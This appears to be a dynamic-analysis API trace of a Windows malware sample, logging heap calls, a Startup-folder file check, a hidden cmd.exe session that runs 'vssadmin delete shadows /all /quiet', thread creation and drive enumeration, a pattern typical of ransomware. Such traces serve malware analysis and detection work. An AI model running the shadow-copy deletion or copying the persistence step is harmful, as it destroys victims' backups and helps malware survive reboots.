	[0158.705] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77030000
	[0158.705] GetProcAddress (hModule=0x77030000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77046b30
	[0158.705] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1
	[0158.705] lstrlenW (lpString="kernel32.dll") returned 12
	[0158.705] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74eef0 | out: hHeap=0x710000) returned 1
	[0158.705] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0158.705] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74f260 | out: hHeap=0x710000) returned 1
	[0158.705] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0158.705] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0158.706] CloseHandle (hObject=0x244) returned 1
	[0158.706] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x754af0
	[0158.706] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x754af0, Size=0x20) returned 0x74f148
	[0158.706] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x7549a0
	[0158.706] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7549a0, Size=0x20) returned 0x74f170
	[0158.706] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77030000
	[0158.706] GetProcAddress (hModule=0x77030000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77046b30
	[0158.706] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1
	[0158.706] lstrlenW (lpString="kernel32.dll") returned 12
	[0158.706] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74f170 | out: hHeap=0x710000) returned 1
	[0158.706] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0158.706] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74f148 | out: hHeap=0x710000) returned 1
	[0158.706] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x23fb020 | out: hHeap=0x710000) returned 1
	[0158.708] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x756768 | out: hHeap=0x710000) returned 1
	[0158.709] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x766770 | out: hHeap=0x710000) returned 1
	[0158.710] lstrlenW (lpString="%windir%\\System32") returned 17
	[0158.710] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x72d560 | out: hHeap=0x710000) returned 1
	[0158.710] lstrlenW (lpString="%appdata%") returned 9
	[0158.710] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74efb8 | out: hHeap=0x710000) returned 1
	[0158.710] lstrlenW (lpString="%sh(Startup)%") returned 13
	[0158.710] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74efe0 | out: hHeap=0x710000) returned 1
	[0158.710] lstrlenW (lpString="%sh(Common Startup)%") returned 20
	[0158.710] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x72d6c8 | out: hHeap=0x710000) returned 1
	[0158.710] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x754b08
	[0158.710] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x754b08, Size=0x20) returned 0x74ee50
	[0158.710] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74ee50, Size=0x40) returned 0x72dab8
	[0158.710] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x72dab8, Size=0x80) returned 0x7283c8
	[0158.711] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x7548c8
	[0158.711] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7548c8, Size=0x20) returned 0x74f080
	[0158.711] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1fffc) returned 0x756768
	[0158.711] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x776770
	[0158.711] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x786778
	[0158.712] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x754970
	[0158.712] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x754970, Size=0x20) returned 0x74eef0
	[0158.712] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74eef0, Size=0x40) returned 0x72d7e8
	[0158.712] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x72d7e8, Size=0x80) returned 0x728450
	[0158.712] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x728450, Size=0x100) returned 0x728530
	[0158.712] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0158.712] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x728530 | out: hHeap=0x710000) returned 1
	[0158.712] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x776770, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0158.712] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x786778 | out: hHeap=0x710000) returned 1
	[0158.712] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x776770 | out: hHeap=0x710000) returned 1
	[0158.713] CreatePipe (in: hReadPipe=0x19fd50, hWritePipe=0x19fd54, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fd50*=0x248, hWritePipe=0x19fd54*=0x24c) returned 1
	[0158.715] CreatePipe (in: hReadPipe=0x19fdc0, hWritePipe=0x19fdc4, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fdc0*=0x250, hWritePipe=0x19fdc4*=0x254) returned 1
	[0158.716] SetHandleInformation (hObject=0x24c, dwMask=0x1, dwFlags=0x0) returned 1
	[0158.736] SetHandleInformation (hObject=0x250, dwMask=0x1, dwFlags=0x0) returned 1
	[0158.736] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x19fd60*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x248, hStdOutput=0x254, hStdError=0x254), lpProcessInformation=0x19fdb0 | out: lpCommandLine=0x0, lpProcessInformation=0x19fdb0*(hProcess=0x25c, hThread=0x258, dwProcessId=0xd5c, dwThreadId=0xd60)) returned 1
	[0158.807] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65
	[0158.807] WriteFile (in: hFile=0x24c, lpBuffer=0x7283c8*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x19fd5c, lpOverlapped=0x0 | out: lpBuffer=0x7283c8*, lpNumberOfBytesWritten=0x19fd5c*=0x41, lpOverlapped=0x0) returned 1
	[0158.807] CloseHandle (hObject=0x25c) returned 1
	[0158.807] CloseHandle (hObject=0x258) returned 1
	[0158.807] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x756768 | out: hHeap=0x710000) returned 1
	[0158.807] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65
	[0158.807] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7283c8 | out: hHeap=0x710000) returned 1
	[0158.807] lstrlenW (lpString="%comspec%") returned 9
	[0158.807] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74f080 | out: hHeap=0x710000) returned 1
	[0158.807] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a530, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x258
	[0158.807] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x754a30
	[0158.808] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a710, lpParameter=0x754a30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25c
	[0158.808] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x8) returned 0x753c18
	[0158.808] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4098e0, lpParameter=0x753c18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x264
	[0158.808] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x754898
	[0158.809] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x754898, Size=0x20) returned 0x74f030
	[0158.809] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74f030, Size=0x40) returned 0x72d830
	[0158.809] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26
	[0158.809] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xd0) returned 0x72b730
	[0158.809] GetLogicalDrives () returned 0x4
	[0158.809] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10014) returned 0x756768
	[0158.809] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x754a18
	[0158.809] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x754a18, Size=0x20) returned 0x74edb0
	[0158.809] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74edb0, Size=0x40) returned 0x72da28
	[0158.809] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x72da28, Size=0x80) returned 0x7553c0
	[0158.809] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7553c0, Size=0x100) returned 0x7283c8
	[0158.809] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7283c8, Size=0x200) returned 0x766788
	[0158.809] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x766788, Size=0x400) returned 0x766788
	[0158.809] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x766788, Size=0x800) returned 0x766788
	[0158.809] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x766788, Size=0x1000) returned 0x766788
	[0158.809] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10000) returned 0x777778
	[0158.809] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x7548f8
	[0158.809] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x754940
	[0158.809] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x4) returned 0x753d68
	[0158.809] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x754a78
	[0158.809] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x4) returned 0x753d28
	[0158.809] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x754aa8
	[0158.809] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x753d28, Size=0x8) returned 0x753c58
	[0158.809] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x754ac0
	[0158.809] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x753c58, Size=0x10) returned 0x754b38
	[0158.809] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x754a18
	[0158.809] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7549a0
	[0158.809] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x754b38, Size=0x20) returned 0x74f148
	[0158.809] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x754970
	[0158.809] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x8) returned 0x753d38
	[0158.809] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xe) returned 0x754928
	[0158.810] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xe) returned 0x754ad8
	[0158.810] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74f148, Size=0x40) returned 0x72db48
	[0158.810] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xe) returned 0x754958
	[0158.810] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xe) returned 0x754af0
	[0158.810] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xe) returned 0x7548e0
	[0158.810] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xe) returned 0x754898
	[0158.810] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x754988
	[0158.810] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x754b38
	[0158.810] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x8) returned 0x753d28
	[0158.810] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x754b08
	[0158.810] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x72db48, Size=0x80) returned 0x7553c0
	[0158.810] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7548b0
	[0158.810] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x754b50
	[0158.810] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x754b68
	[0158.810] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7548c8
	[0158.810] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x754c40
	[0158.810] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x754c58
	[0158.811] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x754c10
	[0158.811] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x8) returned 0x753d48
	[0158.811] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x754bb0
	[0158.811] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x754bc8
	[0158.811] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x754b98
	[0158.811] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x754be0
	[0158.811] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x754bf8
	[0158.811] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x754c28
	[0158.811] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x767dc0
	[0158.811] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x767f10
	[0158.811] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7553c0, Size=0x100) returned 0x7283c8
	[0158.811] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x767f58
	[0158.811] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x767e50
	[0158.811] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x767f28
	[0158.811] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x767f70
	[0158.811] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x767eb0
	[0158.811] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x767ee0
	[0158.811] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x8) returned 0x753d58
	[0158.811] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x767e80
	[0158.811] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x767ec8
	[0158.811] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x767e68
	[0158.811] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x6) returned 0x753d78
	[0158.811] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x767ef8
	[0158.811] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x767e98
	[0158.811] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x8) returned 0x753c08
	[0158.811] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x767f40
	[0158.811] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x767e20
	[0158.811] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x767dd8
	[0158.811] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x767e38
	[0158.811] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x767df0
	[0158.811] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x767e08
	[0158.811] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xe) returned 0x767970
	[0158.811] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7678f8
	[0158.811] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x767838
	[0158.811] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x767910
	[0158.811] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x767a48
	[0158.812] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x767868
	[0158.812] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x767880
	[0158.812] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x8) returned 0x753c28
	[0158.812] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x767a90
	[0158.812] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7677c0
	[0158.812] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7679a0
	[0158.812] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x767a30
	[0158.812] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7283c8, Size=0x200) returned 0x767f98
	[0158.812] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x767a60
	[0158.812] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x8) returned 0x753c48
	[0158.812] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7678e0
	[0158.812] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x767988
	[0158.812] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7679e8
	[0158.812] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x767928
	[0158.812] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x767940
	[0158.812] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x767958
	[0158.812] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7678b0
	[0158.812] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x767a00
	[0158.812] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x767aa8
	[0158.812] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x767a78
	[0158.812] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x7679b8
	[0158.812] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x767850
	[0158.812] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7677d8
	[0158.812] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x7679d0
	[0158.812] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x767a18
	[0158.812] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7677f0
	[0158.812] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x767808
	[0158.812] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x767820
	[0158.812] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7678c8
	[0158.812] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x767898
	[0158.812] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x767da8
	[0158.812] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x8) returned 0x753c68
	[0158.812] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x767d18
	[0158.812] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x767d78
	[0158.812] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x767c28
	[0158.813] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x8) returned 0x753c88
	[0158.813] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x767c40
	[0158.813] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x767ad8
	[0158.813] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x767d90
	[0158.813] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x767cb8
	[0158.813] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x767c10
	[0158.813] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x767b50
	[0158.813] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x767d30
	[0158.813] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x767bc8
	[0158.813] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x767ac0
	[0158.813] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x767cd0
	[0158.813] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x767c58
	[0158.813] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x767ce8
	[0158.813] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x767bf8
	[0158.813] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x767bb0
	[0158.813] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x767c70
	[0158.813] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x767d60
	[0158.813] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x767d00
	[0158.813] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x767d48
	[0158.813] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x767af0
	[0158.813] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x767b08
	[0158.813] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x767be0
	[0158.813] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x8) returned 0x753ce8
	[0158.813] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x6) returned 0x753cc8
	[0158.813] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x767c88
	[0158.813] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x767ca0
	[0158.813] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x767b20
	[0158.813] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x767b38
	[0158.813] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x767b68
	[0158.813] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x767b80
	[0158.813] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x767b98
	[0158.813] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x768710
	[0158.813] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7685c0
	[0158.813] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7685d8
	[0158.813] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x768740
	[0158.814] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x768728
	[0158.814] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x768758
	[0158.814] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x767f98, Size=0x400) returned 0x7689a8
	[0158.814] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x768620
	[0158.814] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x768548
	[0158.814] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x768530
	[0158.814] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x768770
	[0158.814] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x768638
	[0158.814] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7687a0
	[0158.814] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x768788
	[0158.814] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7685f0
	[0158.814] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x768608
	[0158.814] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x768560
	[0158.814] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x8) returned 0x753ca8
	[0158.814] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x768668
	[0158.814] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x768650
	[0158.814] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7685a8
	[0158.814] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7687b8
	[0158.814] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7684d0
	[0158.814] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x768500
	[0158.814] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xe) returned 0x7684e8
	[0158.814] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x768518
	[0158.814] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x768680
	[0158.814] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7686f8
	[0158.814] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x768698
	[0158.814] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x768578
